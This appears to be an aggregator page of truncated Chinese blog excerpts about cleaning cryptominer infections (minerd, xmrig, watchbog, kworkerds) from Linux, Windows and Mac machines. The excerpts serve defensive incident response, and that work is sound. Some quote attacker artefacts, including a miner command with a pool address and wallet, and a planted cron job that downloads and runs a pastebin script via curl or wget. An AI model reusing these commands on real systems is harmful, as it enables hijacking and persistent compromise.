此次服务器被植入挖矿程序发现起来较为巧合,首先是上周三开始,我通过sonatype/nexus3搭建的仓库间歇性崩溃,但是每次重新start一下也能直接使用所以没有彻底清查,去docker logs里查看发现是执行bash命令和powershell命令出错,没有想明白是什么原因. 后来恰好ES更新7.0版本了,我一看“呦呵,7.0里面连type都没有了?”赶紧跟个风,于是把我运行很长时间的ES5.6+kibana5.6的镜像删除了,去官网pull了最新的ES和kibana镜像.在启动的过程中ES

1 发现问题 在腾讯云上购买了一个centos7的服务器,平时用来练手,偶尔也安装一些程序进行测试,上面安装了mysql和redis,前段时间数据库经常掉线,连不上,到腾讯云后台进行查看,通过服务器实例的监控窗口,可以查看服务器的一些指标状态,包括CPU.内存.流量等数据,本来看到CPU使用超过了90%,然后用kill -9 pid,或者重启服务器,问题当时解决了,也就没有太注意,结果第二天发现,CPU的利用率又变成了90%以上,然后再杀进程. 刚杀完就出现新的进程,CPU利用率还是90%以上,

前几天发现服务器报警,cpu使用率已达100%,查资料知道正是最近比较流行的挖矿程序在捣鬼.我们使用的是阿里云的服务器,操作系统是windows server.网上有大量的资料讲如何处理,我把自己处理的思路以及实践过程和大家分享. 1 关闭危险端口 这一步主要是杜绝重复感染,一般挖矿程序都是利用服务器的端口漏洞,将程序放到了服务器上,关闭端口,防止程序重复放到服务器,这样我们就可以关起门来收拾服务器上的挖矿程序了.如何关闭139端口及445端口等危险端口. 参考文章:https://jingya

阿里云盾最近报发现wanacry蠕虫病毒和挖矿进程异常 仔细检查进程后,发现两个奇怪的进程 Eternalblue-2.2.0.exe,winlogins.exe 特别是伪装成 winlogins.exe 的这个进程,把cpu都给占用完了.经查询,这是一起利用永恒之蓝漏洞植入的挖矿程序.这都什么人哪,太狠了,要是cpu占用低点我就发现不了了. 打开对应进程的文件目录,结束进程后把文件夹删掉,cpu一下子下降了. 最后附上一张对方程序的配置信息: tiantian0258.9 应该就是对方的比特币

最近这两天以来,服务器一致声音很响.本来以为有同事在运行大的程序,结果后来发现持续很长时间都是这样,并没有停的样子.后来查了一下,发现有几个可疑进程导致,干掉之后,果然服务器静悄悄了. 但是,问题并没有结束,过了一会儿,服务器又开始轰鸣了,查找了一下,这里简单记录一下. 1.查看top结果,可见如下情况: top - :: up days, :, users, load average: 80.62, 78.60, 77.78 Tasks: total, running, sleeping, s

Mining时代进化:CPU挖矿 -> GPU挖矿 -> FPGA挖矿 -> ASIC挖矿CPU挖矿时代:SENGENERATEGPU挖矿时代:GETWORK Miner:挖矿的程序或者机器统称矿工 挖矿本质:执行Hash函数的过程,而Hash函数是一个单输入单输出函数,输入数据就是一个区块头 区块头分为六个字段:nVersion 版本号(固定)hashPrewBlock 前一个区块hash(固定)hashMerkleRoot 交易Merkle根(理论上提供2^256种可能)nTime

突然发现阿里云服务器CPU很高,几乎达到100%,执行 top c 一看,吓一跳,结果如下: root 386m S : /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofT root 3448m 292m 14m S :02.07 /usr/java/default/bin/java -Xm

SSH 暴力破解趋势:从云平台向物联网设备迁移 | 云鼎实验室出品 from: http://www.freebuf.com/articles/paper/177473.html 导语:近日,腾讯云发布2018上半年安全专题系列研究报告,该系列报告围绕云上用户最常遭遇的安全威胁展开,用数据统计揭露攻击现状,通过溯源还原攻击者手法,让企业用户与其他用户在应对攻击时有迹可循,并为其提供可靠的安全指南.上篇报告从DDoS 攻击的角度揭示了云上攻击最新趋势,本篇由同一技术团队云鼎实验室分享:「SSH暴力

记录一次服务器被入侵的解决方法 一:问题说明 1.我的服务器是使用的阿里云的CentOS,收到的阿里云发来的提示邮件如下 然后我查看了运行的进程情况(top 命令),看到一个名为minerd的进程占用了99.5%的CPU  2.minerd是个挖矿程序,什么是“挖矿”,特此百度了一下, 所谓“挖矿”实质上是用计算机解决一项复杂的数学问题,来保证比特币网络分布式记账系统的一致性.比特币网络会自动调整数学问题的难度,让整个网络约每10分钟得到一个合格答案.随后比特币网络会新生成一定量的比特币作为赏金

区块链的火热,利益驱使必然导致不少PC或Server,被变成肉鸡,执行挖矿程序进行挖矿,进而导致我们正常的程序无法正常. (Centos7 Server)使用top命令查看服务器进程运行情况,发现几个较诡异进程.CPU战用长期居高不下,系统负载load average值更是高出平时近百倍,且进程运行在一个原本并不存在的用户上.系统遭入侵是必然的,并且运行着占用巨大算力的程序,联想到之前由此阿里云主机有过一次矿机入侵经历,想必这次挖矿程序入侵已是大概率事件. 下面要做的就是找出挖矿程序,清除并提升

Mac遇到挖矿程序应急的方法 工作笔记:   1.起因:监控发现jsonrpc挖矿报警,询问当事人描述当时情况是安装了sketch软件.   网上可以定位到该IOC   运行后该IOC流量依然可以观测到:  2.分析:安装当事人发来的iflymac.dmg文件,首先会打开lauch-installer安装程序,通过运行专用下载器执行script文件,文件利用curl下载sketch. AutoCAD.Betterzip.Moveist等常用mac os软件其中之一,根据传参来判断.下载完会运行x

0×00 背景概述 近日,同伴的一台Linux服务器中了kworkerds挖矿程序,随即对挖矿程序进行了处理与分析. 0×01服务器现状 进入服务器之后通过top命令,没有发现有占用CPU资源过高的进程,随后使用busybox top命令查看发现一个kworkerds的程序占用CPU资源达到了99%,计划任务中被写入恶意下载命令: 系统top命令界面: 使用busybox top命令界面: 写入的计划任务: 0×02脚本分析: 1)  mr.sh脚本: 清理文件或其他挖矿程序: 值得一提的是,脚

原因是由于Kubernetes Apiserver不安全配置所致,Apiserver提供了资源操作的唯一入口,并提供认证.授权.访问控制.API注册和发现等机制,所以apiserver的安全至关重要. 解决方法步骤 可通过kubectl get rc y1ee115 -o yaml  看到挖矿程序yaml文件 1.杀死挖矿程序 #pkill -9 xmrig 或者 #kill -9 进程号 2.删除相关rc,命令如下 #kubectl delete rc y1ee115 3.firewalld防

现在比特币的价格涨得很高,所以现在有黑客专门制造挖矿木马来诱导网友,从而达到控制电脑上的显卡来挖掘比特币.为什么木马要控制电脑中的显卡呢?因为显卡挖掘虚拟货币比特币的效率远比 CPU 要高.如果你是一位 3D 游戏玩家,正好中了比特币挖矿木马,就会发现在玩游戏时会非常卡顿. 那么,跟我们今天提到的挖矿minerd进程又有何关系呢? 发现问题 最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下: 让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu

参考 https://blog.csdn.net/qq_37837029/article/details/82314428 重要的一点,移除下面文件里面的定时任务 /var/spool/cron/crontabs/root /var/spool/cron/root 本人删除kill -9进程, 移除/tmp/ddgs.3016,  qW***.文件都没用. 删除/root/.ssh/authori_keys里面的免密登入.

如下图,在修改密码的时候会报错 原因: 通常不能修改密码都是/etc/passwd文件或者/etc/shadow文件被锁住了 解决: 检查/etc/passwd文件和/etc/shadow文件是否被锁定,看下图: ①检查/etc/passwd文件 /etc/passwd文件正常 ②检查/etc/shadow文件 可以看到/etc/shadow文件确实是被锁定了,a权限表示"锁定后文件仅可追加" 如果是i,则表示"锁定文件(无法修改.删除等)" ③解锁/etc/sha

第1章 情况 1)服务器收到cpu报警,cpu被占用达到100%,登录服务器查看,发现cpu被一个watchbog的进程占满了,如下图所示: 2)并且无论如何都杀不掉,用kill杀掉后,其还是会隔一会自动起来,很明显被加入了定时任务,果不其然系统自带的定时任务已经被入侵了,如下所示: */ * * * * (curl -fsSL https://pastebin.com/raw/AgdgACUD||wget -q -O- https://pastebin.com/raw/AgdgACUD||py

背景 近期通过流量告警发现多起外连矿池的告警,均外连至43.249.204.231 威胁情报信息如下: 系统表象 1.通过ps -ef|grep osascript发现在/library/LaunchAgents/文件下均有恶意挖矿plist文件,主要为/library/LaunchAgents/com.apple.00.plist等形式,且plist已加密.有部分MAC还会存在一个下述所示的明文指向性plist文件,其在每次开机时通过osascript来执行AppleScript脚本来运行加密

比特币早在一.二年前我就听说过这个词了,还自己试过搭设矿机,因为没找到显卡驱动,也没有人一起搞,所以中途放弃了. 后来就不断听说涨了多少倍,总想着都涨这么多了,错了也就错过了. 周二组会,一帮人兴起又谈到比特币,还说litecoin很有前景,于是到了周三海丝开始要研究如何挖litecoin了,他找来帖子www.tuicool.com/articles/Jrm2uq教如何搭建矿机平台. 我看挖的太慢,于是想直接买币.找到了litecoin的交易平台,发现从周三早上70到我们搭建平台的下午已经快涨了

莱特币ltc在linux下的多种挖矿方案详解 4.0.1 Nvidia显卡Linux驱动Nvidia全部驱动:http://www.nvidia.cn/Download/index.aspx?lang=cnNvidia GeForce®驱动:http://www.geforce.cn/driversNVidia CUDA http://developer.nvidia.com/cuda/cuda-downloads http://developer.nvidia.com/cuda/cuda-to